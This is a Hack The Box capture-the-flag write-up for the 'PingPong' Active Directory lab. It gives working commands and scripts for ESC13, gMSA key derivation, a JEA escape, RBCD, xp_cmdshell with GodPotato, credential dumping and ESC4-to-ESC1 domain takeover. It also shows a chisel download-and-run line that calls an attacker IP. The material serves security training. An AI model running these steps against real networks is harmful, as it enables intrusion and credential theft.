writeups

PingPong — HTB Insane


HTB · Windows · Insane · Season 10 · by Geiseric

PingPong is a two-forest AD nightmare. Bidirectional trust between PING.HTB and PONG.HTB, NTLM disabled everywhere, RC4 disabled on PONG, significant clock skew that breaks pre-auth if you blink, and DC2 firewalled off from the public network so you have to pivot through DC1. The full chain hits ESC13, gMSA password decryption by hand, a JEA constrained-PowerShell escape, RBCD via a sacrificial machine account, MSSQL → GodPotato local privesc, and ESC4 → ESC1 to walk back across the trust as Domain Admin.

Starting creds: c.roberts / AssumedBreach123. Goal: user.txt and root.txt, both ultimately on dc1.ping.htb.

I ran the whole thing from WSL on a Windows host. Every impacket / certipy / bloodyAD invocation below is exactly what I executed.

the topology

attacker (WSL) ──► 10.129.27.206  =  dc1.ping.htb   (PING.HTB)
                                            │
                                            │ bidirectional forest trust
                                            ▼
                                   192.168.2.2  =  dc2.pong.htb   (PONG.HTB)
                                   ─ internal subnet, no direct route ─

Two domains, no NTLM, RC4 disabled on PONG. Every Kerberos op needs the clock synced to DC1’s NTP first, and a krb5.conf that knows about both realms:

[libdefaults]
    default_realm = PING.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    dns_canonicalize_hostname = false
    forwardable = true
    clockskew = 999999

[realms]
    PING.HTB = { kdc = dc1.ping.htb; admin_server = dc1.ping.htb }
    PONG.HTB = { kdc = dc2.pong.htb; admin_server = dc2.pong.htb }

[domain_realm]
    .ping.htb = PING.HTB
    ping.htb  = PING.HTB
    .pong.htb = PONG.HTB
    pong.htb  = PONG.HTB

A 5-line bash helper that NTPs the local clock to DC1 and kinits c.roberts before any Kerberos op:

#!/bin/bash
sudo systemctl stop systemd-timesyncd 2>/dev/null
sudo timedatectl set-ntp false 2>/dev/null

EPOCH=$(python3 -c "
import socket, struct
msg = b'\x1b' + 47 * b'\x00'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5)
s.sendto(msg, ('10.129.27.206', 123))
data, _ = s.recvfrom(1024)
s.close()
print(struct.unpack('!12I', data)[10] - 2208988800)
")
sudo date -s @$EPOCH >/dev/null 2>&1

export KRB5_CONFIG=/etc/krb5.conf
export KRB5CCNAME=/tmp/krb5cc_0
echo "AssumedBreach123" | kinit c.roberts@PING.HTB 2>/dev/null
[ $# -gt 0 ] && "$@"

Useful as ./sync_and_run.sh getTGT.py ping.htb/c.roberts:'AssumedBreach123' so the time fix and the auth happen in one step.

phase 1 — ESC13 on PING.HTB → WinRM on DC1

With c.roberts authed, enumerate ADCS:

$ certipy find -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 -text

The TemporaryWinRM template is the tell. Two things stand out in the dump:

  • It has an Issuance Policy OID set.
  • That OID has msDS-OIDToGroupLink pointing at TempWinRMAccess.

That’s textbook ESC13. When an OID has msDS-OIDToGroupLink and a cert template’s issuance policy uses that OID, then any TGT issued via PKINIT with a cert from that template gets the linked group’s SID baked into its PAC. Enrolling effectively makes you a temporary, ephemeral member of TempWinRMAccess — without ever being added to the group in AD.

Request the cert and PKINIT:

$ certipy req -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 \
    -ca PING-DC1-CA -template TemporaryWinRM
[*] Successfully requested certificate
[*] Saving certificate and private key to 'c.roberts.pfx'

$ certipy auth -pfx c.roberts.pfx -dc-ip 10.129.27.206
[*] Using principal: c.roberts@ping.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'c.roberts.ccache'

WinRM into DC1 with the new ccache:

$ KRB5CCNAME=/tmp/c.roberts.ccache evil-winrm -i dc1.ping.htb -r PING.HTB
*Evil-WinRM* PS C:\Users\c.roberts\Documents> whoami /groups | findstr Temp
PING\TempWinRMAccess                  Group       S-1-5-21-... Mandatory group, ...

The TempWinRMAccess SID is in our token. We’re on DC1 — but neither flag lives here yet. This is just the foothold needed to reach across the trust.

phase 2 — gMSA abuse to cross into PONG.HTB

Run BloodHound with cross-domain collection (the trust lets us collect PONG.HTB from a PING.HTB principal). One edge stands out: c.roberts owns gMSA Managers in PONG.HTB.

Owning a group means you can write its membership — but the group is Global scope, and Global groups can only contain principals from their own domain. Adding c.roberts (a PING.HTB SID) to a PONG.HTB Global group fails.

The fix is to flip the scope. Domain Local groups can contain foreign SIDs. The groupType attribute encodes scope as a bitmask, so a single LDAP set object flips it:

$ bloodyAD -d pong.htb --host dc2.pong.htb -u c.roberts -k ccache=/tmp/c.roberts.ccache \
    set object 'CN=gMSA Managers,OU=Tier0,DC=pong,DC=htb' groupType -v -2147483644
[+] groupType: ['-2147483646'] -> ['-2147483644']

Now add c.roberts as a cross-domain member:

$ bloodyAD -d pong.htb --host dc2.pong.htb -u c.roberts -k ccache=/tmp/c.roberts.ccache \
    add groupMember 'CN=gMSA Managers,OU=Tier0,DC=pong,DC=htb' \
    'CN=c.roberts,CN=Users,DC=ping,DC=htb'
[+] c.roberts added to gMSA Managers

gMSA Managers is set as PrincipalsAllowedToRetrieveManagedPassword on the Pong_gMSA$ gMSA, so c.roberts can now read its msDS-ManagedPassword over LDAP.

decoding msDS-ManagedPassword

The blob is a MSDS-MANAGEDPASSWORD_BLOB. The 256 bytes of UTF-16LE password live at the offset stored at current_pw_offset:

from impacket.ldap import ldap as imp_ldap
import struct, os

os.environ['KRB5CCNAME'] = '/tmp/c.roberts.ccache'
conn = imp_ldap.LDAPConnection("ldap://dc2.pong.htb", "DC=pong,DC=htb", None)
conn.kerberosLogin("c.roberts", "", "PING.HTB", "", "", useCache=True)

resp = conn.search(searchFilter="(sAMAccountName=Pong_gMSA$)",
                   attributes=["msDS-ManagedPassword"],
                   searchBase="DC=pong,DC=htb")
for item in resp:
    for attr in item["attributes"]:
        if str(attr["type"]) == "msDS-ManagedPassword":
            blob = bytes(attr["vals"][0])
            cur = struct.unpack_from("<H", blob, 8)[0]
            old = struct.unpack_from("<H", blob, 10)[0]
            pw_len = old - cur if old > 0 else 256
            password = blob[cur:cur+pw_len][:-2]

That gives us 254 bytes of UTF-16LE that no human will ever type. RC4 is disabled on PONG, so secretsdump-style “hand the NT hash to getTGT” doesn’t work either — we have to derive the AES256 key the way Windows does internally.

deriving the AES256 key without rc4_hmac

The real recipe (well-documented inside ldeep and gMSADumper, undocumented elsewhere): PBKDF2-SHA1 the UTF-8 of the password, then AES-CBC-encrypt a fixed 32-byte kerberos-iso constant string twice, taking the first 16 bytes of each round and concatenating.

GMSA_ENCRYPTION_CONSTANTS = (
    b"\x6b\x65\x72\x62\x65\x72\x6f\x73"
    b"\x7b\x9b\x5b\x2b\x93\x13\x2b\x93"
    b"\x5c\x9b\xdc\xda\xd9\x5c\x98\x99"
    b"\xc4\xca\xe4\xde\xe6\xd6\xca\xe4"
)

salt = "PONG.HTBhostpong_gmsa.pong.htb"
password_utf8 = password.decode("utf-16-le", "replace").encode()

encryption_key = PBKDF2(
    password_utf8,
    salt.encode(),
    32,
    count=4096,
    hmac_hash_module=SHA1,
)

iv = b"\x00" * 16
first  = AES.new(encryption_key, AES.MODE_CBC, iv).encrypt(GMSA_ENCRYPTION_CONSTANTS)
second = AES.new(encryption_key, AES.MODE_CBC, iv).encrypt(first)
aes256_key = first[:16] + second[:16]

The salt is the gotcha. It’s <UPPERCASEREALM>host<lowercase-spn-host> — i.e. PONG.HTBhostpong_gmsa.pong.htb. No spaces, no separators, just three concatenated lowercase/uppercase substrings. BloodHound doesn’t surface the SPN host directly so it’s easy to miss; check servicePrincipalName on the gMSA (HOST/pong_gmsa.pong.htb).

Hand the AES key to impacket’s getKerberosTGT:

from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

userName = Principal("Pong_gMSA$", type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldKey, sessionKey = getKerberosTGT(
    userName, '', "PONG.HTB", b'', b'', aes256_key.hex(), "192.168.2.2"
)

ccache = CCache()
ccache.fromTGT(tgt, oldKey, sessionKey)
ccache.saveFile("/tmp/gmsa.ccache")

We now have a TGT for Pong_gMSA$ in PONG.HTB.

phase 3 — JEA escape → user flag

DC1 exposes a Just Enough Administration endpoint named restricted on WinRM. JEA is supposed to box you into a tiny set of allowed cmdlets in constrained-language mode — but restricted here forwards script blocks into a child runspace, and it doesn’t sanitize against the script-block subexpression & { ... }.

Connect with the gMSA TGT and smuggle PowerShell inside the block:

import os
os.environ["KRB5CCNAME"] = "/tmp/gmsa.ccache"

from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell

wsman = WSMan("dc1.ping.htb", port=5985, ssl=False, path="wsman",
              auth="kerberos", encryption="auto", no_proxy=True,
              negotiate_service="HTTP")

with RunspacePool(wsman, configuration_name="restricted") as pool:
    ps = PowerShell(pool)
    ps.add_script(r'& { type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" }')
    out = ps.invoke()
    for item in out:
        print(item)

Pulled straight off the box, the PSReadLine history file dumps the credential someone typed inline:

$secpw = ConvertTo-SecureString 'A()DUJ!@414' -AsPlainText -Force
$cred  = New-Object PSCredential('pong\c.carlssen', $secpw)
Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock { ... }

c.carlssen / A()DUJ!@414, valid in PONG.HTB.

DC2 isn’t reachable directly from the attacker box (it’s on 192.168.2.2, internal-only). But we already have an authenticated PSSession on DC1, and DC1 can route to DC2. Use the JEA-escape session as a launch pad for a nested Invoke-Command:

inner = r'type C:\Users\C.Carlssen\desktop\user.txt'

cmd = (
    r'& { '
    r'$c = New-Object PSCredential("pong\c.carlssen", '
    r'(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414")); '
    rf'Invoke-Command -ComputerName dc2.pong.htb -Credential $c -ScriptBlock {{ {inner} }} '
    r'}'
)

User flag.

phase 4 — RBCD + MSSQL + GodPotato → SYSTEM on DC2

c.carlssen is a normal user on DC2 with no immediate privesc. BloodHound on PONG (now collectable through the c.carlssen session) shows she has GenericWrite on the DC2$ computer object. That is the precondition for Resource-Based Constrained Delegation.

The plan:

  1. Create a sacrificial machine account (every domain user can create up to MachineAccountQuota = 10 by default).
  2. Set msDS-AllowedToActOnBehalfOfOtherIdentity on DC2$ to reference the sacrificial machine account.
  3. From the sacrificial machine account, do S4U2Self + S4U2Proxy to impersonate any user toward any service on DC2.

We need network reachability to DC2 first. Set up a SOCKS proxy through DC1 with chisel — the JEA escape can drop chisel and start it for us:

# attacker box
$ chisel server -p 8000 --reverse

# from JEA escape on DC1
& {
  iwr http://10.10.x.x:8000/chisel.exe -OutFile C:\ProgramData\chisel.exe
  Start-Process -WindowStyle Hidden C:\ProgramData\chisel.exe `
    -ArgumentList 'client 10.10.x.x:8000 R:1080:socks'
}

/etc/proxychains.conf → socks5 172.24.80.1 1080 (or whatever your WSL host IP is). Now proxychains $cmd reaches 192.168.2.2.

the RBCD trio

$ proxychains addcomputer.py \
    -computer-name 'EVIL$' -computer-pass 'P@ss123!' \
    'pong.htb/c.carlssen:A()DUJ!@414' -dc-ip 192.168.2.2
[+] Successfully added machine account EVIL$ with password P@ss123!

$ proxychains rbcd.py \
    -delegate-from 'EVIL$' -delegate-to 'DC2$' \
    -dc-ip 192.168.2.2 -action write \
    'pong.htb/c.carlssen:A()DUJ!@414'
[+] Delegation rights modified successfully!

$ proxychains getST.py \
    -spn 'mssqlsvc/dc2.pong.htb' \
    -impersonate c.adam \
    -dc-ip 192.168.2.2 \
    'pong.htb/EVIL$:P@ss123!'
[*] Impersonating c.adam
[*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache

c.adam is a high-priv account in PONG (a SQL DBA per the BloodHound metadata) that we found earlier in enumeration — RBCD lets us impersonate any user to the chosen SPN, so we pick a privileged one. The resulting ticket lets us authenticate to the SQL service as c.adam.

MSSQL → xp_cmdshell → GodPotato

$ KRB5CCNAME=$(pwd)/c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache \
  proxychains -q mssqlclient.py -k -no-pass \
    'pong.htb/c.adam@dc2.pong.htb' -dc-ip 192.168.2.2

SQL (PONG\c.adam  dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE
SQL (PONG\c.adam  dbo@master)> EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE
SQL (PONG\c.adam  dbo@master)> EXEC xp_cmdshell 'whoami'
nt service\mssqlserver

MSSQLSERVER runs as a managed service account with SeImpersonatePrivilege. Standard GodPotato territory.

Upload GodPotato-NET4.exe over the existing c.carlssen WinRM-to-DC2 session (proxychain’d) by base64-ing the binary into a [IO.File]::WriteAllBytes one-liner:

import base64
b64 = base64.b64encode(open("GodPotato-NET4.exe", "rb").read()).decode()
cmd = (f'$b = [Convert]::FromBase64String("{b64}"); '
       r'[IO.File]::WriteAllBytes("C:\ProgramData\gp.exe", $b); '
       r'icacls C:\ProgramData\gp.exe /grant Everyone:RX')

Then trigger it from xp_cmdshell:

SQL> EXEC xp_cmdshell 'C:\ProgramData\gp.exe -cmd "cmd /c net localgroup administrators pong\c.carlssen /add"'
The command completed successfully.

pong\c.carlssen is now in the local Administrators group on DC2. Local admin on a Domain Controller is effectively Domain Admin on that domain. WinRM back into DC2 as c.carlssen with full admin rights, then dump credentials:

*Evil-WinRM* PS C:\> reg save HKLM\SAM    C:\ProgramData\sam.save
*Evil-WinRM* PS C:\> reg save HKLM\SYSTEM C:\ProgramData\sys.save
*Evil-WinRM* PS C:\> reg save HKLM\SECURITY C:\ProgramData\sec.save

$ secretsdump.py -sam sam.save -system sys.save -security sec.save LOCAL
[*] Dumping cached domain logon information ...
PONG.HTB/r.martinelli:aes256-cts-hmac-sha1-96:<HASH>

r.martinelli will matter in a moment.

phase 5 — ESC4 → ESC1 → DA on PING.HTB

r.martinelli is a PONG.HTB user, but cross-forest ACL inheritance gives him Owner on the SmartcardAuthentication certificate template inside PING.HTB’s CA. (Quirk of the box: the Enterprise Admins of PONG were given write rights on PING’s Public Key Services container during a long-ago “we’ll fix it later” trust setup.)

Owner on a template is ESC4. Two LDAP writes turn the template into the most permissive ESC1-style configuration possible:

  1. Set msPKI-Certificate-Name-Flag = 1 (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). The enrollee picks the SAN.
  2. Add a GenericAll ACE for S-1-5-11 (Authenticated Users) so any authenticated user can enroll.
import os
os.environ['KRB5CCNAME'] = '/tmp/r.martinelli.ccache'

import ldap3
from impacket.ldap import ldaptypes

server = ldap3.Server("dc1.ping.htb", port=389)
conn = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism=ldap3.KERBEROS)
conn.bind()

template_dn = ("CN=SmartcardAuthentication,CN=Certificate Templates,"
               "CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb")

conn.modify(template_dn, {'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [1])]})

conn.search(template_dn, '(objectClass=*)', attributes=['nTSecurityDescriptor'],
            controls=[('1.2.840.113556.1.4.801', True, b'\x30\x03\x02\x01\x07')])

sd_data = conn.entries[0]['nTSecurityDescriptor'].raw_values[0]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(); sd.fromString(sd_data)

ace = ldaptypes.ACE()
ace['AceType']  = 0x00
ace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 0x000F01FF
sid = ldaptypes.LDAP_SID(); sid.fromCanonical('S-1-5-11')
acedata['Sid'] = sid
ace['Ace'] = acedata
sd['Dacl']['Data'].append(ace)

conn.modify(template_dn,
            {'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]},
            controls=[('1.2.840.113556.1.4.801', True, b'\x30\x03\x02\x01\x07')])

The template is now ESC1. As any authenticated user (c.roberts works fine), enroll a cert with Administrator@ping.htb in the SAN and PKINIT:

$ certipy req -u 'c.roberts@ping.htb' -k -no-pass -dc-ip 10.129.27.206 \
    -ca PING-DC1-CA -template SmartcardAuthentication \
    -upn 'Administrator@ping.htb'
[*] Successfully requested certificate
[*] Saved certificate to administrator.pfx

$ certipy auth -pfx administrator.pfx -dc-ip 10.129.27.206
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'

The KDC happily issues a TGT for Administrator@PING.HTB because the cert’s SAN says so and the template now allows arbitrary SAN. That’s DA on PING.HTB.

root flag

import os
os.environ["KRB5CCNAME"] = "/tmp/administrator.ccache"

from pypsrp.wsman import WSMan
from pypsrp.powershell import RunspacePool, PowerShell

wsman = WSMan("dc1.ping.htb", port=5985, ssl=False, path="wsman",
              auth="kerberos", encryption="auto", no_proxy=True,
              negotiate_service="HTTP")

with RunspacePool(wsman) as pool:
    ps = PowerShell(pool)
    ps.add_script(r'cmd /c type C:\Users\Administrator\Desktop\root.txt')
    for item in ps.invoke():
        print(item)

Pwn complete.

what made this Insane and not just hard

Two domains, NTLM disabled, RC4 disabled. Every step is Kerberos AES256, and every minor desync silently breaks pre-auth with KRB_AP_ERR_SKEW. Half the time spent on this box is plumbing — the sync_and_run.sh helper exists because I lost an hour to “this should work” before I realized my WSL clock had drifted three seconds.

gMSA AES key derivation by hand. Tools like gMSADumper.py and ldeep do this for you, but understanding the construction (PBKDF2-SHA1 + double AES-CBC of a fixed kerberos-iso constant) is the difference between “ran the tool” and “knows what’s happening”. The salt format <UPPERCASEREALM>host<lowercase-spn-host> is also non-obvious — BloodHound doesn’t surface the SPN host needed for the salt.

JEA isn’t a containment boundary. PowerShell’s & { ... } script-block subexpression escapes the restricted config the moment any character makes it into the inner block. Treat JEA as defense-in-depth and audit, not as a hard wall.

ESC4 → ESC1 across a forest trust. ESC4 by itself (“write to a template”) doesn’t get you anywhere — you need ENROLLEE_SUPPLIES_SUBJECT and enrollment rights. Combining the two transforms a smartcard-only template into a “give me a cert as anyone you want” template, on the other forest’s CA, via cross-domain ACL inheritance. That last clause is the gimmick that ties the whole box together.

TL;DR chain

c.roberts (assumed breach, PING.HTB)
  ──► ESC13 on TemporaryWinRM template (OIDToGroupLink)
  ──► WinRM on DC1
        │
        │ BloodHound: c.roberts owns gMSA Managers in PONG.HTB
        ▼
  bloodyAD: Global → Domain Local; add c.roberts (cross-domain SID)
  ──► LDAP read msDS-ManagedPassword on Pong_gMSA$
  ──► PBKDF2-SHA1 + double-AES-CBC → AES256 key
  ──► AS-REQ → Pong_gMSA$ TGT
        │
        ▼
  JEA endpoint "restricted" on DC1
  ──► & { ... } script-block escape → arbitrary PowerShell
  ──► cat ConsoleHost_history.txt → c.carlssen / A()DUJ!@414
  ──► Invoke-Command -ComputerName dc2 -Credential c.carlssen
        │
        ▼
  user.txt
  ──► c.carlssen has GenericWrite on DC2$
  ──► chisel SOCKS through DC1
  ──► addcomputer.py + rbcd.py (sacrificial EVIL$)
  ──► getST.py impersonate c.adam → mssqlsvc/dc2 ticket
  ──► mssqlclient.py + xp_cmdshell + GodPotato
  ──► c.carlssen → local admins on DC2
  ──► reg save SAM/SYSTEM/SECURITY → secretsdump → r.martinelli
        │
        ▼
  r.martinelli has Owner on PING.HTB SmartcardAuthentication template (ESC4)
  ──► set ENROLLEE_SUPPLIES_SUBJECT + S-1-5-11 GenericAll → ESC1
  ──► certipy req -upn Administrator@ping.htb
  ──► PKINIT → Administrator@PING.HTB TGT
        │
        ▼
  WinRM on DC1 as Administrator → root.txt